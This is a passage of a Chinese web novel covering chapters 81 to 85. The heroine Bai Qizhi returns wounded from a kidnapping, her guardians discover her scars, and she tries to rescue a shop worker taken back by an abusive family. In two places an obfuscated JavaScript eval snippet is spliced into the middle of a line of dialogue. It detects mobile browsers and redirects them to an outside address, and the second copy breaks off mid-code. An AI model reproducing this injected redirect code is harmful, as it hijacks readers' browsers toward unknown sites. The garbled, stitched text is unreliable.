“可她是我的朋友，亦是长宴的朋友！”宋怀真几乎是吼了出来，声音里带着压抑已久的愤怒和不甘，“阿爹，您从小就教导我，做人要无愧于心。如今枝枝下落不明，我若什么都不做，这辈子都不会心安！” “宋怀真！！！”宋鸿晖“腾”地起身，却在看到女儿满是泪花的眼后软了心肠。 他神色复杂地看着宋怀真，负手沉沉叹了口气，语气稍稍缓和：“真儿，倘若她不是什么白栖枝，而是张栖枝、李栖枝，阿爹绝不会拦你，可偏她姓白！她是前书画院翰林白家白纪风之女，上面已经有人知晓她的存在了，倘若我们再与她有什么瓜葛，到时候被灾蒙祸就是我们宋家！宋家能有今日的地位，是几代人用血汗换来的。你、我还有长宴，我们不能因为一时的心软，让整个家族陷入危险。怀真，你听清楚了么？” 一句话，震得宋怀真当场呆愣在地，不知该如何是好。 所以，阿爹的意思是，枝枝的失踪跟朝廷有关？ 可为什么？枝枝她只是个十几岁的孩子，她有什么错要被如此赶尽杀绝？ 她有什么错？！ 四下寂静无声。 见宋怀真如此，宋鸿晖也不再多说，只默默转身离开。 宋怀真站在屋里，门外传来宋鸿晖严厉的声音：“看好小姐，不准让她出去。” “是。” 宋怀真眼见自己的房门被重重关上，她无力地坐倒在床上，随着一声闷响，一切尘埃落地。 ——嘭。 “嘶！”白栖枝狠狠倒吸一口冷气。 方才泥土太滑，她一个没注意，居然一下子顺坡下滑，还好她及时扭了方向，以头顶撞树为代价，这才没让自己滑进溪里。 好痛啊…… 旧痂又叠新伤，白栖枝痛得几欲昏过去。 她伏在岸边，固定好身子，将头猛地扎进溪水里。 一秒……两秒……三秒…… “呼——” 四处溅起水花，那些泥啊血啊的，都顺着溪流消失不见了。 白栖枝又反复扎了几次。 雨势渐小。 不过片刻，原本还迅猛的大雨就这样一点点停了下来。 白栖枝扬起清爽的脸颊，甩了甩头上的水，侧脸趴在一颗鹅卵石上，看着碧洗如练的天，眨巴了两下眼。 “呵——”她从肺腑中挤出一口浊气，笑了。 回去的路还很长呢，光是这点可远远杀不死她。 她还要回家呢。 回家、回家。 她想回家去，她想回到自己的家里去。 等到一切过后，她一定要回到自己的家里去。 所以—— “不能停……不能停……” 就凭着心尖上这么一点点的温存的念想，白栖枝咬着牙、耸动着身子，继续向前爬去。 82. 归来 宋怀真是偷偷逃出去找白栖枝的。 月黑风高，她偷偷将窗纸捅破，借着让侍女小莲偷偷送过来的迷药，迷倒了站在床边把守的二位。 临走后，她还感叹了一句：幸好今夜无风，不然可不会如此顺利呢。 月夜里，万籁俱寂。 宋怀真踩着月亮的影子，轻轻摸索过檐牙墙壁，趁着众人一个不注意，身形灵巧一跃。 “不好了！不好了！二小姐跑出去了！快找！！！” 宋怀真闻言心内一“咯噔”，赶紧翻过墙头，又贴着墙壁屏息凝神许久。 直到脚步声匆匆而过，她才顽灵一笑，低声暗道一句“再会”，举步速速朝街角走去。 大昭虽无宵禁，但因从前风序良俗太过不友好，以至于直到如今，大家都不太敢在夜里做生意。 夜风习习，吹得人心惶惶。 一瞬间，宋怀真想起伙伴们说的那些可怖案情，什么无头女尸案，什么破腹食心案，什么四方阵案……说不害怕，那肯定是假的。 虽然这今年淮安治理越发好了起来，但谁又能敢保证无人恃财行凶，买通官府，为其开脱呢？ 想到这儿，宋怀真猛地打了个哆嗦。 一粒粒的鸡皮疙瘩从皮肤底下冒出，宋怀真搓了搓手臂，拼命让自己不要乱想，忍了忍心性，赶紧握住腰间短刀，匆匆向远处奔去。 她被关了两天，不知外面情形如何，但从小莲的口中仍能得知白姑娘还未归家。 按理来说，依照林家在淮安城的势力，想要找人并不难，除非…… 人被绑到了城外。 可倘若是城外那就麻烦了，淮安境内大大小小十余处村落，更有甚者甚至居于深山之中，倘若白姑娘真被绑到山里，就算她能侥幸脱身，估计也会迷失在山林里，倘若这中间再无食物可以裹腹，那可就…… 心内越想越慌，宋怀真狠狠摇了摇头，再次强迫自己不要乱想。 突然—— 意识到自己看到了什么，宋怀真渐渐停下步子，深棕色的眼瞳紧紧凝视着小巷尽头。 月色被浓云遮挡。 幽深的小巷内，一个怪物匍匐蠕动在地。 夜里起了薄雾，那巨物前段又被毛发遮挡住头部，看不清身形，只如蛆虫般一点一点向前蠕动，除却身体摩擦地面的声音外，一点声都没发出。 “沙——沙——沙——” 待那怪物挪近些许，宋怀真才看见，那怪物身后，一滩濡湿的痕迹逶迤延伸。 是血！ 宋怀真脑子里轰然一响。 她曾从街角巷尾的传说中听过，说当年淮安风气败坏的时候，曾有一纨绔将一怀有身孕的夫人捆绑剖腹查看腹中胎儿是男是女，倘若是男儿，便一刀刺死，倘若是女儿，便投井淹死。待到几人破腹而看时，才发现这妇人怀的竟是一对龙凤胎。于是那几人当面将男孩刺死，又将女孩扔到仆人手中，派人拿去淹死。妇人拼命挣动，却无济于事，只能看着自己一双儿女惨死人手，而她自己也因失血过多而硬生生在那些人的笑声里咽下最后一口气。 据说那人死时，怒目圆睁的眼里流出血泪。而后，那位惨死的妇人死后鬼魂便化作蚕虫的模样，一到夜里就在街头巷尾游荡，要让她遇见的所有人都为自己一双儿女陪葬！ 眼见那怪物越来越近，宋怀真吓得身子一抖，脸色惨白如纸。 她想跑，四肢却僵冷得仿佛刚从冰里抽出来一样，根本动弹不得半分。 “……” 恍惚间，她似乎听见那惨死之人朝她说了些什么。 月夜无风，可宋怀真仍听不清那怪物的话。 她只见那怪物在看到她时停顿了一秒，随即便拼命朝她飞速拱来！ “天奶奶啊！！！” 宋怀真吓得“嗷”地一声大喊，赶紧闭眼转身，头也不敢回地死命朝身后跑去，生怕自己再晚一秒就要被怨灵索命，永世不得超生。 霎时一阵风来，浓云被风驱赶，也撩开那“怪物”的毛发。 自清朗的月光下露出的，是白栖枝那张脏兮兮的小脸。 宋姐姐—— 眼见宋怀真“嗖”地一下逃得比兔子还快，白栖枝实在是体力不支，只好停在原地，小脸贴地，疲惫地喘息。 待这阵过去后，她再抬头查看，只见四处哪里还有宋怀真的影子？ 无奈之下，白栖枝只好认命，抬头，又顽强地一点点朝林府的方向蠕动而去。 …… “大爷！白姑娘回来了！！” 在白栖枝失踪的第五天，一声大喊，唤醒了整个林府的灯火。 林听澜衣服都没来得及换，就急急朝大门跑去，不消一会儿，沈忘尘也坐着轮椅匆匆赶到。 两人朝门外看，不见有人，直到被隐者低头朝门槛下看，才看到这几日失踪之人本尊。 见到两人不可置信的模样，白栖枝尴尬一笑： 嘿嘿~ 好狼狈呀。 …… 白栖枝是用头叩的大门。 这几日的遭遇简直叫她不成人形，要不是林听澜率先反应过来叫人给她松绑，估计她现在还得被绑得像个虫子一样，在地上缓慢蠕动。 再看到她浑身是血的回来，两人真的吓坏了。 刚被松绑之后，林听澜也不嫌脏，把她拽起来打转一样翻来覆去的看，确定她没缺胳膊少腿后才狠狠松了口气，问她这几日究竟去哪了，害的他和沈忘尘好找。 说实话，白栖枝也不知道自己究竟被绑到哪里去了，所以当林听澜问她是怎么回来的时候，她也只能挠挠脸颊，含糊不清地傻笑道： “是运哦。因为运气比较好所以就回来了。” 只是运吗？ 沈忘尘紧紧凝视着白栖枝不置可否，可看着她身上几欲见骨的伤痕，眼中的心痛却藏不住地如潮水般溢出。 “去洗洗吧。”他说，“一直这么脏着，伤口会溃烂的。” “好哦。”身上鲜血淋漓，白栖枝只是笑，“等枝枝沐浴后再跟两位哥哥汇报一下这两天的情形，那枝枝就先去了，一会儿见。” 云淡风轻得仿佛只是出去玩了一样。 两人对视一眼，没敢多说，只是点头任她去了。 “忘尘，你说她是不是……”林听澜指了指头部。 沈忘尘摇摇头。 两人暂定先回屋 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沈忘尘心下一凛，又叩门，提高了几分音调音量：“枝枝？” “……” “枝枝？！” 眼见里面一点声儿都没有，沈忘尘也慌了，他赶紧扭头看向春花。 “开门。” 春花闻言先是一愣，随后犹豫着垂眸咬唇。 从古至今，女子的贞洁是何等的重要，若是女子在出嫁前先被男人看了身子，那还如何可活？ 可眼下，世上万般都抵不过白栖枝的一条命重要。 由是，春花只是犹豫了一下便抬眸满脸坚定。 “来人，开门！” 话音落下，几位侍女纷纷上前。 “咚！” 猛地一声巨响，率先扑面而来的是浓郁的水汽。 众人边往里赶边抬手挥散这层濡湿黏腻的白雾，可等到他们缓缓睁眼后，眼前的景象却让在场所有人都大吃一惊—— 偌大的浴堂内，白栖枝正坐在浴池前穿衣。 她身上仅穿了一件裹肚，手中的小衣方及遮住腰部，门就这样被众人撞开。 “好冷……” 直到她哆嗦着喃喃了这么一句，众人方回过神来手忙脚乱地往外跑。 只是……好像遗忘了一个人？ “砰。” 门被关上，沈忘尘也很慌。 他垂着头，用他那双几乎废掉的手拼命将自己往外划。 可他那点力气对于笨重的轮椅来说就是蝗臂挡车，无论他怎样挣扎，木轮都未挪动半分。 沈忘尘干脆放弃挣扎，赶紧闭眼抬手，用自己宽大的袍袖遮住自己整个面部，丝毫都不敢露。 只这一刹，他亲口对林听澜说的那句话猛地在耳畔旁止不住地回荡： “自长平到淮安，那两个月的时间她都能毫发无损地熬过来，没道理这次熬不过的。” 因为，在水汽自他身侧奔逃消失后，他亲眼地目睹了白栖枝本来的躯体。 那副…… 满是伤疤的躯体。 ——并非毫发无伤。 83. 伤疤 白栖枝微微侧头就看到那团将自己挡的严丝合缝的白。 她自己其实是无所谓的，毕竟已经习惯了，就是害怕自己会吓到人。 “是有点难看呢……”白栖枝故作轻松道，“没事了沈哥哥，我已经穿上衣服了，不会再看到了。” 轻柔的语气仿佛在安慰一位不安的稚童。 沈忘尘只听到轻得宛若鸿毛落水的脚步声渐近，便一点点放下手臂，抬头看着自己面前熟悉又陌生的小姑娘。 此刻，白栖枝正坐在木阶前穿罗袜。 她可当真是百无禁忌，连自己的脚都能如此大方地裸露在男子面前。 沈忘尘到底还是读过圣贤书的，他不敢看，只尴尬地扭过头，平日里沉静似弱水的人此刻慌得连眼神都不知道往哪里放，一双温润的眼瞳毫无定处，只在地上乱飘。 良久—— “还痛吗？” 温柔的话语如同从天上落下的晶莹飞雪，覆盖在伤口处，凉凉的，刚好可以止痛。 痛的。 当然痛啊！ 被剑刺穿腰腹的时候痛，被人捆住在地上拖拽的时候痛，就连如今身上的擦伤也还是很痛…… 没有人知道她这一路而来到底发生过什么，总之还活着就是好，没有死就是不痛。 无数委屈哽在喉头，白栖枝张了张嘴，发出的声音却极是云淡风轻：“啊……这些啊……” “完全不痛。” ——好了伤疤忘了疼。 白栖枝坐在妆镜前安安静静地擦头发，沈忘尘只在她身后静静看着，没出一点声响。 他没想到，小姑娘完全比他想的还要能忍。 她的那些伤疤，纵横交叠在身上每一寸，有的仅有小指长短，有的则几乎要横贯她整个背部。白皙的后背上，深深浅浅的棕色交叠相映，旧伤未愈，又添新痕，如同一张张干瘪的小口，无声地向人起诉着那两个月来此人求生之艰辛。 莫说她一个十三四岁的女儿家，就是二三十岁的男子都未必能忍得过。 有那么一瞬间，沈忘尘很想问问白栖枝，在那段岁月里她究竟经历过什么。 但每每话到嘴边，他又不想提起伤心事叫她黯然神伤。 就像白栖枝从来不提及他的腿一样。 是怜。 但白栖枝还是会透过铜镜发现他落在自己背上的目光。 太灼热了，这人的目光实在是太灼热了，像是从来不会藏好自己的念头一样。 “在外闯荡嘛，难免会落得些伤。”白栖枝从不避讳谈及自己的伤口，“有些是不小心摔的，有些是被荆棘刮的，还有些是不小心卷入或遇见某些纷争被人刺的。” 城外不似城内安生。 这点沈忘尘是知道的，毕竟江湖上或者城内人有什么恩怨，为了避免城内骚乱，都会约去城外比拼，刀光剑影的，最易伤及路人，尤其是那种偏僻的羊肠小道，更是无人敢去。 她一个小姑娘怎么敢去那种地方？ “不认路嘛。”似是察觉出他的疑惑，白栖枝故作轻松地开口解释道，“我也是第一次来淮安，不认路嘛，难免就会走错，当时正好遇见有人在拎刀追人，我想躲，但已来不及了，人家哪管你是不是路过，提刀就往身上劈。真的好险啊那次，差点就要被腰斩了。” 说到这儿，白栖枝摸了摸自己腹部的疤痕，吐了一口气，含笑道：“还好劈下来后那人发现我不过是个十三四岁的小姑娘，及时收了力道，不然来到林府的就只能是白木了——因为西枝被砍掉了。哈哈哈哈，好惨的笑话。” 沈忘尘不知道白栖枝是怎么还能笑得出来的。 这事儿放任何人身上都是要被吓破胆的，她却偏一副无所谓的模样…… ——并非无所谓。 白栖枝的发尾还在滴水。 一滴滴的水渍落在背上，就如同她哭不出的泪点。 她太乖了，乖到因为不想让人忧心，所以就自作主张地吞下所有的苦果，笑着打趣着，甚至连让别人安慰她的机会都不留，就这样苦苦支撑着，不知道什么时候会倒下。 沈忘尘不由得想起了当年被父亲打断腿的自己。 那时的自己尚有林听澜可以依靠，可面前的小姑娘又有谁能依靠呢？ 她在这世上举目无亲，谁都在欺负她举目无亲，就连他也是。 “枝枝。”沈忘尘开口轻唤。 只见白栖枝握着篦子的手一顿。 她将篦子好生放到桌面上，如一条小兔子般温顺起身来到他面前，俯身蹲下。 “沈哥哥……” 那双琉璃似的眼眸纯净得不含一丝杂质，看得沈忘尘都有几分难掩心虚。 他从白栖枝的眸子往里看，里头映的是他那张苍白虚浮的笑面。 太假…… 被这样纯真的注视着，沈忘尘无声地叹息一口气，抬手，用自己那只几近费用的左手去梳理白栖枝半干半湿的鬓发。 在林府里好生养了一年，白栖枝的发丝已不像刚来时那般枯黄毛躁。 沈忘尘的指尖从发丝间划过，那些发丝就像一根根绸缎上被打湿的锦线，滑腻的，又在一撩一落间氤氲着淡淡的芳香。 “过几日应当就是枝枝的生辰了吧？”沈忘尘亲昵地用拇指摩挲着白栖枝的脸颊，见她一副柔顺的模样，温声道，“去年的生辰在不欢而散中错过了，今年的生辰，沈哥哥和林哥哥一定为枝枝好好操持好不好？” 话音未落，温热的小手覆上他冰冷的指尖。 白栖枝笑意更甚：“不必了沈哥哥，今年的生辰……也已经错过了。” 她的生辰已在吃泥土吃草根中度过了。 噗，实在是太惨了。 实在是太惨了…… 感受到沈忘尘的手微微一顿，白栖枝顺从地用脸在他掌心轻轻地蹭：“不过没关系，今年的生辰错过了，还有明年的生辰在，左右还有大把的时光呢，也不差这一时半会儿了。”她将脸从沈忘尘手中抽出，言笑晏晏道，“沈哥哥，这里太湿了，再过一会儿沈哥哥的衣服会湿的，夜深露重，如果湿着衣服在外面待着，会得风寒的。枝枝让人带您出去好不好？” 这样乖巧贴心的孩子，会有谁不喜欢呢？ 沈忘尘真是不明白，为什么林听澜当初会那么的不喜欢她，倘若自己当初能遇见这样的一个人的话…… 没有倘若了。 待沈忘尘回过神，白栖枝早已起身与他擦肩而过。 只听门“吱呀”一响，白栖枝同外头的众人说了些什么，随后便引着其中一位来将沈忘尘推离这里。 当听到门关上的一刹那，白栖枝长长地吐了口气。 小腹，又在隐隐作痛了…… 估计是那时候受凉了吧？ 听说女子来癸水时受凉，日后是很难受孕的。 倘若天真怜她，那就叫她不要能受孕好了，这样大家也不必如此虚与委蛇，周旋盘桓。 不过，看沈忘尘方才的神情，不似是作假。 他究竟想怎样呢……他究竟想怎样？ 白栖枝想不明白。 她又坐回妆镜前，看着镜中模糊的自己，抬手，用那只玉兰木簪绾起一缕乌黑秀发，却没想到那秀发太滑，在她去捉其他发丝时，它竟偷偷地从发簪上滑落至她胸前，静静地随着她的心口起起伏伏。 ——到底要怎样。 待白栖枝梳洗好后，东方天际已泛起一抹鱼肚白。 一屋内，沈忘尘沉默不语，反倒是林听澜一直在追问她可曾见到究竟是谁绑了她，就算没见到，能说出些细节也是好的，林家不是没能力，顺着这点线索抽丝剥茧，一定能还她一个公道。 可白栖枝只是打着哈哈将这事儿接过：“哎呀，大了找不到，小了没必要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187416|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只是一次绑架而已，再说他们也没对我做什么，这事儿……就揭过去吧。” 随后，无论林听澜如何再问，白栖枝也只是左右而言他。 于她来说，想要找她麻烦的人太多了，若是挨个清算，又哪里能清算得过来呢？ 更何况…… 没必要。 比起这个，她更担心她不在的这些日子里，香玉坊如何了，倘若因她这点小事再叫香玉坊一蹶不振，那她就真成罪人了。 何必？ 好在她不在的这几日，香玉坊任何重大事物都在由沈忘尘打理，有他坐镇，众人就算心中再不喜，但一颗悬着的心总归算是有个落处。哪怕是为了白栖枝，众人也会在白日里将店内一切都打理好，只在店铺打烊后才会分散着四处找寻白栖枝的踪影。 殊不知，在她们担忧着白栖枝的时候，后者也在忧心着她们。 眼见天欲大亮，白栖枝也不在此事上再多做文章，只是柔顺着要告退，非是沈、林两人相继留她在此处用个早膳，她方没有一丝喘息就朝香玉坊奔去。 两人此先不知她此时回来，饭菜还是按照先前的备。 看着一桌清淡的粥食，两人尴尬对视，都觉得十分有十二分地对不住白栖枝。 后者倒是没什么说道，待侍女将粥液端到她手中后，她也还是像从前那样一小勺一小勺地抿着。 一切都太过平静，平静得仿若此前的每个晨曦。 于是两人再次对视一眼，都心照不宣地没再说话，直到这一顿早膳用下，直到白栖枝临行前，他们才不约而同地如长辈嘱咐小辈般叮咛道： “——枝枝，注意安全！” “……”瘦小的身影在跨门开时蓦地顿了下。 白栖枝没记错的话，这还是自己在家中以外第一次有人嘱咐她注意安全。 “会的。”她提起裙摆跨过门槛，笑着回望安慰道，“淮安很安全的——我也一定会注意安全的。” 说完，她回首，大步朝香玉坊走去。 两人看着她渐行渐远的瘦削背影，想起方才端粥时她手腕上突出的锋利腕骨，就知道她这几日究竟清减了多少。 “阿澜。”沈忘尘缓缓开口，垂眸看向自觉蹲在自己足尖前的林听澜，摸了摸他乌青的下眼睑，温声道，“瞧瞧你，熬得眼睛都红了，快去歇歇吧，家中日后还要靠你呢。” “忘尘……” “一切有我在呢。” 看着沈忘尘如同春风拂过柳梢般的笑容，林听澜近几日一直悬着的心渐渐安稳下来。 心一安稳，倦意就如同潮水般袭来。 “去睡吧……”沈忘尘低首浅笑，学着从前的模样，用拇指和食指无力你捏了捏他脸颊，“等我喝完药，就陪你去睡，好不好？” 没有人能拒绝这春风化雨的温柔，更何况是林听澜？ 他点点头，握住他冰凉的指尖，边搓热边耐心地嘱咐着，良久，才恋恋不舍地离去。 眼见四下无人，沈忘尘才长长呼出一口浊气，开口道：“芍药。” 只轻轻一声唤，竟唤出了隐没在阴影之地的人。 芍药垂眸：“公子。” “跟着枝枝。”沈忘尘墨澈双眼里温柔的笑意愈发浓重。 他淡声道：“从今往后，谁若是敢对枝枝动一下手脚，，不必多问，直接废掉他的手脚，扔到荒郊野外去，知晓了么？” “是，公子。” 待此声落下，彼时已不见芍药的身形。 沈忘尘只觉一阵头晕目眩。 这几日，他劳累太过，加上终日忧心忡忡，每日需要用药吊着，才能面前打起几分精气神。 这一次绑架，也许是只冲着白栖枝来的，也许不只是。 究竟是什么人会和一个一个小孩子过不去呢？好难猜啊。 真是…… 好难猜啊…… 84. 碎玉 在白栖枝眼中，应该没有什么比香玉坊更重要。 非说有的话…… “嘶！嘶嘶！！” 听着小巷里传来蛇吐信子的声音，白栖枝忍不住转头瞥了一眼。 这一瞥不打紧，就见着宋怀真站在阴影处朝她猛烈招手。 “二姐姐！”白栖枝赶紧跑去相迎。 只见宋怀真一脸风尘仆仆的模样，一看就是找了她一宿。 两人见面，立马十指相扣，宋怀真将她双臂抬起放下，上下仔细检查着她身是否有恙。 可白栖枝的伤在衣裳里，她如此检查，除了牵扯到身上的伤口外并无用处。 到底是好心，白栖枝就这般由着她上下左右翻来覆去地看。 待反复检查了两三圈，宋怀真才长长吐出一口气，拉着她的手左右摇摆，一脸担心道：“枝枝你这几天到底去哪里了？这几天，大家都在找你，我昨天也找你来着，结果在北名大街旁边的小巷子里看到了个怪物，快给我吓死了，我只好绕过那条巷子去找你，结果都没有找到……你什么时候回来的？” 白栖枝哑然失笑：并非是二姐姐没有找到，只是昨日自己的模样太过吓人，一不小心把她吓跑了罢了……况且自己吓跑的又何止她一个？就连更夫见了，也吓得扔了竹柝撒腿就跑呢。 ——早知道就把绳子解开好了。 “也没回来多长时间。”白栖枝答道，“约么是今天早上天刚亮。至于去了哪里，其实我也不清楚，好在那些绑匪并未为难我，绑了我后就离开了。我听着外头没人，便用腐木挑断了绳子，结果出门就是一片荒野。我没办法，就只能慢慢摸索着找，直到今儿早上丑时才回来。对了，二姐姐怎么还没回府？” 她说得还算在理，宋怀真没有怀疑。听到白栖枝如此问道，她立马毫不在乎地答道：“嗨，也没什么，就是我昨儿是偷跑出来的，此刻回府我爹一定会把我骂得狗血淋头。左右跑都跑出来了，干脆就晚点回去，让我爹好生着急着急，这样他以后就不敢管我了。我爹他呀，就是……” 还未等宋怀真说完话，她的肚子率先抢答一声。 “咕噜~” 这一声，害得宋怀真登时羞得满脸通红，尴尬在原地不知该说什么好。 她昨夜走得匆忙，一点钱都没有拿，这么折腾了一早上，早就饥肠辘辘。 此刻站在白栖枝面前，碍于面子，哪怕她饿得前胸贴后背，也只是撑着笑，大方摆摆手道：“没事没事，不用管我，我一会儿就去买些早点用。倒是你枝枝，你走得这么匆忙，是有什么事吗？如果有事的话我就不耽误你了，你去吧，我们过几日再约也不迟。” 说着，宋怀真就要抽出手转身离开。 哪成想她一抽，食指反倒被白栖枝更用力地夹住。 被这么一拽，宋怀真顿住脚步，回看白栖枝。 白栖枝松开她的手指，反握住她被冻得青白的指尖，温声道：“其实枝枝也没有什么事，只是想要去香玉坊看看罢了。倘若二姐姐不嫌弃，便先随枝枝去香玉坊吃些瓜果糕点，等到枝枝将店里安排好了，再请二姐姐下馆子好不好？” “哎呀，这怎么好意……”宋怀真依旧转身要走。 “怎么会不好意思？”白栖枝料她所想，又拉住她的手，见她再次转过身来看自己，便牵着她的手上前一步，温温柔柔地笑着劝道，“二姐姐找了枝枝一晚，受累受冻，枝枝自然十分感激二姐姐。况且按道理来讲，这顿饭也是枝枝该请二姐姐的，还请二姐姐卖枝枝一个薄面，待枝枝安顿好店内众人，好好请二姐姐去饭馆吃一顿，可好？” 这一番话说得宋怀真不好拒绝。 她看着白栖枝，黑白分明地看着，良久，只吐出一句：“枝枝，你好像有点不一样了。” 白栖枝只是笑：“怎么不一样了？” 宋怀真咬咬下唇：“总感觉……你一下子长大了好多，就连同我说话也是客客气气的，生分极了。跟之前一起吃饭时一点也不一样。” “啊，这个啊。”白栖枝抬手掖了下额角碎发，悠然一笑道，“可能是刚回来还没休息好的缘故，估计过两天休息休息就好了吧。走吧，二姐姐。” 见白栖枝主动来挽自己的手臂，宋怀真虽心有异样却并不怀疑她说的话，只顺着她的力道一同朝香玉坊走去。 香玉坊内，大家神色恹恹。 近日来，坊内无东家坐镇，她们一个个的都人心惶惶，生怕香玉坊熬不过这劫又会败落下来。 但没办法，毕竟这里头凝重东家和大家的心血，就算再怎么没心思、没力气也还是要撑下去的，不然等到东家回来，看见自己呕心沥血撑起的香玉坊被她们经营成一副鬼样子，该多么伤心啊。 于是，当一双绣着云纹的云头鞋踏入店内后，大家虽无心经营，却也不得不强打起一副笑面，举步前去迎接。 “东家？！”最先看到白栖枝的是紫玉。 她一声轻呼，惹得众人你争我赶地纷纷涌上前去，像潮水一般将白栖枝围个水泄不通。 “东家！”“东家！”“东家！” 最开始陪着白栖枝一起经营香玉坊的那几个老人一开口便带了哭腔，恨不得一下子把白栖枝拽进怀里好好抱一抱。 ——东家你去哪了？ ——东家你有没有受伤？ ——东家，你知不知你不在的这几日我们都快吓死了！ 正如香玉坊不可一日无店员，店员们也不可一日无白栖枝，见她回来，大家都纷纷眼睛里泛起泪花，尤其是紫玉的那些小徒弟们，更是一个一个萝卜头似的抱着将白栖枝团团抱住，趴在她身上哭道： “呜呜呜呜，东家、东家您可算回来了，我们还以为您不要我们了……” “东家您不知道，你不在的这几天师父、店长姨姨和掌柜姐姐老是哭，她们一哭，看得我们都好想哭……” “呜呜呜……东家，我们好想您……没有您我们就得被爹娘领回村子里去了，我们不要回村子里去……” 看着这些自己尚且走路还吃力的小孩子们将她当做浮木来看重，白栖枝心里不知是该欣慰还是心酸。 最小的那个孩子还是喜欢站在她身后牵着她的衣角，用那双纤尘不染的水葡萄似得大眼睛滴溜溜地看她。 白栖枝依次摸了摸她们的小脑袋笑着安慰道：“东家这几日只是出了点事，东家没有不要你们。你们看，东家这不是好端端地回来了么？东家不会让别人把你们抢走的……” 说到这儿，她放眼望了一圈，忽地问道：“哎？你们大师姐呢？怎么不见她出来？” 此话一出，几个小孩子纷纷你看我、我看你，渐渐放开了抱她的手臂，垂头缄默不敢言。 有几个胆子小的甚至无措地用余光看向紫玉。 白栖枝也看向紫玉。 紫玉尴尬地干笑两声，赶紧拢着孩子们往制粉房走：“好了好了，东家你们也看到了，赶紧回去学制粉。小凉、小燕、小红！昨天给你们布置的课业做完了么？是不是还没有开始做？”边说着，她边佯装板起脸道，“你们三个赶紧回去去做课业，其余人跟着我，今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那总不能真让苏合回到她那个又刁又穷的村窝窝里吧？” 就在三日前，谁都看见了，老王家的那两个泼妇在香玉坊前哭着喊着，躺在地上撒泼打滚要王二丫回去看她弟弟。 李素染等人不肯，亮出契子给她们看。 她们就闹着掀了铺子里的摊，还叫嚣着说自己就是个村妇，她们说的话她俩一个字都不懂，她们就是在诓她俩！况且王二丫生是她们老王家的人，死是她们老王家的鬼，这辈子都别想离开老王家！ 说完就冲进去抢王苏合。 苏合为了不给店内添麻烦，就由着被她们带走了。 大家都是看着的，苏合就这样被揪着头发拽走了，她们谁说理都没把她救回来。 当天下午，蔚大师知道这件事，还亲自上门去劝。想她也是一把年纪了，在村里还算是个有头有脸的人物。结果刚谈上两句，就被用臭鸡蛋、烂菜叶和猪食打了回去。 那天，苏合也站在门外，她拼命拦着自家爹娘和奶奶让蔚元柳快走。 临关门前，她扭头，朝着蔚元柳“扑通”一跪，重重地磕了三个响头，淌着泪从肺腑到嗓子眼儿、从嗓子眼儿到齿尖儿，再从齿尖儿里挤出最后一句话： “蔚大师，我认了——有些人在这世上就是这样的，不是换了个名儿，就能把命也换了的。” “蔚大师，别管我了，我不跑了，我认了命了。” “蔚大师，请替我拜别东家。” 最后一句话说完，门被重重观赏，严丝合缝，不留一点让人喘息的退路。 就在那一刻，一口苦水从蔚元柳心里反到嘴边。 她到底还是念着王二丫的那句话。 ——有些人在这世上就是这样的，不是换了个名儿，就能把命也换了。 …… 85. 熬过 “叩叩叩。” “这么晚了，谁呀？” “师父，是我。” 听见熟悉的声音，蔚元柳起身开门。 月光下，最先露出的是紫玉一张笑得讨好的脸，等到门缝开得再大些，就能看到白栖枝那张被皎洁月光映得苍白的小脸。 “白老板？”蔚元柳略微一惊。 她没想到白栖枝竟然回来了，更没想到她竟会在这个节骨眼上回来。 一时惊愕，竟叫她忘记将人往屋子里引，还是紫玉又小声唤了一句“师父”，她方将将回过神，将身一侧： “请进。” 这是白栖枝第一次来蔚元柳家，按礼数，她应率先备下些什么作为贽礼，而后才能登门拜访。可如今情况紧急，她一时间头脑发热，竟忘了这等礼数，还是在方才来的路上才突然记起。 好在蔚元柳此人不拘小节，也对那些个虚礼无感，白栖枝这才心下好受些。 “白老板是因为王家的事才来的吧？” 她俩一到，蔚元柳就已经看透了她俩的来意。 想这位小老板也是够拼命的，刚经历过一场绑架案，如今为了坊内一个伙计，却能跟没事人似的，不加休息就往这儿奔。 虽然年纪尚小，却能如此为店内伙计着想。 看来紫玉真没跟错人。 蔚元柳心内如是想着，可面上却仍是一副冷情冷性的样子，见白栖枝一副默认的神情，不待先安慰她，便给她浇了一头冷水：“倘若是因此事，那白老板还是回去吧。王家不会放人的。” “为什么？” “哪里有那么多为什么。”蔚元柳冷冷答道，“白老板不曾来过兴孝村，不知道这儿的情况。王二丫她家如今就她这么一个丫头，就算是为了给自己孙儿儿子找个奴仆，她们也不会放人的。” 这十里八村谁不知道，老王家一共生了九个女儿才得到了一个宝贝儿子。为了这一个儿子，前九个女儿嫁的嫁、卖的卖、死的死，偏巧这一个儿子还是个傻的，这辈子离不开人。如今就剩下王二丫这么倔丫头还留在家中，这些吃人不吐骨头的东西怎么会放过她？不把她抽筋扒皮、茹毛饮血就已是开了大恩，想让她们平白把这么个好生不要钱的奴仆给放走？ 呵。 做梦！ 白栖枝仍不肯放弃，仍是追问道：“可是，试试呢，再试试呢，万一……” “没有万一。” “我用钱买也不成？”说着，白栖枝从怀中拿出自己带的银票，急急道，“我这次来，带了三十两银票，这三十两，足以够她们全家过活。再试一试，再试一试，万一呢？苏合她是跟铺子里签了契子的。既然签了契子，那就是我香玉坊的人，是我的人，我总不能眼睁睁看着她被别人掳去吧？” 说是掳去，其实不啻于送死。 白栖枝是亲耳从苏合口中听说过她家的情况的——那种地方根本不能被称之为家，那里简直就是地狱。白栖枝是真的害怕苏合一脚陷进去，这样自己就再出不来了。 她不想眼睁睁看着苏合送死。 她不想做那个助纣为虐的谋杀同盟。 她想把苏合救出来。 ——胭脂含脸笑，苏合裛衣香。 是了，苏合这个名字还是她赠予的呢，她早就是她的人了！ “可是白老板，你比谁都更清楚，她不叫苏合，对吗？” 蔚元柳轻飘飘的一句话打碎了白栖枝所有的念想。 没错。 